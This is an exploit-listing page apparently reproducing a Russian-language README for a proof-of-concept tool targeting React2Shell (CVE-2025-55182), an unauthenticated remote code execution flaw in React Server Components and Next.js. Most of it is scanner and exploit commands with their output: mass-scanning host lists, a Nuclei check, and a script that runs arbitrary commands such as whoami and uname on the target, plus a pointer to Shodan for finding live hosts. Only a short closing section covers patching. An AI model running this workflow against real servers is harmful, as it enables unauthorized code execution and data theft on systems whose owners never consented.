Sploitus

Exploit for React2Shell-PoC

kitploit · 2026-08-31

Exploit Code

MARKDOWN256 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LITNDAT-REACT2SHELL-POC-CVE-2025-55182
# Симуляция эксплуатации React2Shell (CVE-2025-55182)

### Примечание:

  * Этот документ предназначен только для учебных целей и исследований в области безопасности.
  * Не используйте для атаки на системы без разрешения.



## 1\. Обзор

CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая React Server Components (RSC). Она использует протокол Flight для связи между клиентом и сервером. Когда клиент запрашивает данные, сервер получает полезную нагрузку, анализирует ее, что может позволить злоумышленнику внедрить вредоносные структуры или произвольный код, который React считает допустимым.

Пункт| Содержание  
---|---  
Уровень| Critical (CVSS 10.0)  
Тип| Unsafe Deserialization (CWE-502)  
Метод атаки| Удаленный, без аутентификации  
Затронутые версии:| React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 и Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6  
  
## 2\. Причина

Сервер обрабатывает полезную нагрузку от клиента без полной проверки, что позволяет атакующему:

  * Внедрить вредоносную полезную нагрузку
  * Выполнить код на сервере
  * Быть эксплуатируемым без аутентификации пользователя, так как это уязвимость до аутентификации.



Эксплуатация этой уязвимости была обнаружена с 5 декабря 2025 года. Большинство успешных эксплуатаций исходят из оценок атакующих групп. Затронуты как среда Windows, так и Linux.

## 3\. Эксперимент

Установка

root@kitploit:~
    
    
    pip install -r requirements.txt
    

Сканирование уязвимого сервера:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com
    

Введите путь для сканирования (здесь я ввожу свой уязвимый сервер `http://192.168.10.1:3000`)

![image](https://assets.kitploit.com/production/public/readmes/28519/8149634674996e9d2a81e6eb138c17b45967c4080516c75b0002cd7eb41c402e.png)

Полученный результат:

![image](https://assets.kitploit.com/production/public/readmes/28519/7270ce844c8b18649391698f5e965a3f45f4b77e91b469275a204d4d7a793535.png)

root@kitploit:~
    
    
    ╰─ python3 scanner.py -u http://192.168.10.1:3000             
    
    brought to you by assetnote
    
    [*] Loaded 1 host(s) to scan
    [*] Using 10 thread(s)
    [*] Timeout: 10s
    [*] Using RCE PoC check
    [!] SSL verification disabled
    
    [VULNERABLE] http://192.168.10.1:3000 - Status: 303
    

#### Кроме того, можно сканировать в зависимости от ваших целей эксплуатации:

Сканирование списка хостов:

root@kitploit:~
    
    
    python3 scanner.py -l hosts.txt
    

Сканирование с несколькими потоками и сохранением результатов:

root@kitploit:~
    
    
    python3 scanner.py -l hosts.txt -t 20 -o results.json
    

Сканирование с пользовательскими заголовками:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
    

Сканирование целей под Windows:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com --windows
    

Использование безопасного метода обнаружения по побочному каналу:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com --safe-check
    

![image](https://assets.kitploit.com/production/public/readmes/28519/3685d6bce1863f25d38d3040cb657ba9c3a34f24e7a70131447753339d44b349.png)

Как вы видите, мы столкнулись с уязвимостью безопасности, что означает, что наш сервер уязвим для атак злоумышленника.

* * *

### Nuclei

Теперь мы используем Nuclei, чтобы проверить, имеет ли сервер уязвимость с PoC. Эта функция работает путем отправки пользовательских запросов, минимизации ложных срабатываний и поддержки параллельного сканирования.

root@kitploit:~
    
    
    nuclei -t scan.yaml -u http://192.168.10.1:3000
    

Полученный результат

root@kitploit:~
    
    
    [INF] Current nuclei version: v3.7.1 (latest)
    [INF] Current nuclei-templates version: v10.4.0 (latest)
    [INF] New templates added in latest release: 94
    [INF] Templates loaded for current scan: 1
    [INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
    [INF] Targets loaded for current scan: 1
    [CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
    [INF] Scan completed in 431.97876ms. 1 matches found.
    

![image](https://assets.kitploit.com/production/public/readmes/28519/86170681e6c36628c1fd2c077facbdf4d3d36103dd664b0e60b21bb40b5cce9e.png)

Система обнаружила, что этот сервер уязвим и может быть эксплуатирован через CVE-2025-55182. Отсюда видно, что это довольно опасная и важная уязвимость, для которой уже много PoC в социальных сетях. ☺☺☺

## 4\. Метод эксплуатации

Как видите, достаточно этой информации, чтобы подтвердить существование уязвимости в приложении. Чтобы доказать, что это приложение может быть использовано для выполнения команды или удаленного выполнения кода, я запущу PoC.

root@kitploit:~
    
    
    chmod +x scanner.sh
    

#### Использование

root@kitploit:~
    
    
    # Проверка, уязвим ли хост
    ./datscan.sh -d example.com
    
    # Выполнение команды для проверки текущего пользователя
    ./datscan.sh -d example.com -c "whoami"
    
    # С полным URL
    ./datscan.sh -d example.com -c "uname -a"
    

![image](https://assets.kitploit.com/production/public/readmes/28519/7d3eeff52ecdb351fec5bb3322dfeb038f9763292c099344ab169c3b4fa62595.png)

Значение:

  * Возвращает текущего пользователя, под которым работает процесс сервера
  * Помогает определить: 
    * под каким пользователем работает приложение
    * уровень привилегий (низкие или администратор)



=> Это самая базовая команда для подтверждения успешного RCE

## Примечание

  * `-d, --domain` — домен/URL
  * `-c, --command` — Команда для выполнения (напр.: `whoami, hostname,...`)



## Пример

root@kitploit:~
    
    
    # Проверка имени хоста
    ./datscan.sh -d http://192.168.10.1:3000/ -c hostname  
    
    # Определение версии ОС
    ./datscan.sh -d http://192.168.10.1:3000/ -c ver 
    
    # Проверка стабильности выполнения команд
    ./datscan.sh -c "echo test"
    
    ./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
    
    ./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
    

#### ИЗОБРАЖЕНИЕ ПОСЛЕ ВЫПОЛНЕНИЯ

![image](https://assets.kitploit.com/production/public/readmes/28519/3c1241f2f4e0b8d2e00318b72323a906ce4ee364046c716f537c1ee8d4c8d106.png)

Это этап начальной разведки после успешной эксплуатации.

> Помогает нам подтвердить: RCE работает, определить ОС,...

## ВНИМАНИЕ

Поскольку в этом эксперименте я демонстрирую в личной лабораторной среде, чтобы избежать нарушения закона, использование HTTP-заголовков для кражи данных, больших выводов или специальных символов может вызвать:

  * `ERR_INVALID_CHAR`
  * Уменьшение ответа
  * Тайм-ауты

![image](https://assets.kitploit.com/production/public/readmes/28519/45fbc522ab79ec444632ee1a6989e689d481b48141505a4b4d5287598dfbc5bb.png)

Короткие команды (например, `whoami`, `ver`) более надежны для демонстрации в тестовой среде.

Если не хотите, можете использовать Shodan для проверки IP-адресов в реальной среде и сделать так, как в моем эксперименте выше, для эксплуатации (не рекомендуется).

![image](https://assets.kitploit.com/production/public/readmes/28519/83f118ccb3fa1d4370a833b42c45999d31b0102dd0aeea2869c398b8b84f7151.png)

Как уже отмечалось выше. Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте этот инструмент для тестирования систем, которыми вы не владеете или на которые у вас нет разрешения.

## 5\. Некоторые способы устранения уязвимости

  * Не доверяйте данным от клиента
  * Строгая проверка ввода
  * Обновление версий 
    * React: >= 19.0.1 / 19.1.2 / 19.2.1
    * Next.js: >= 15.0.5 / 16.0.7



## 6\. Дополнительные ссылки

  * CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  * CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/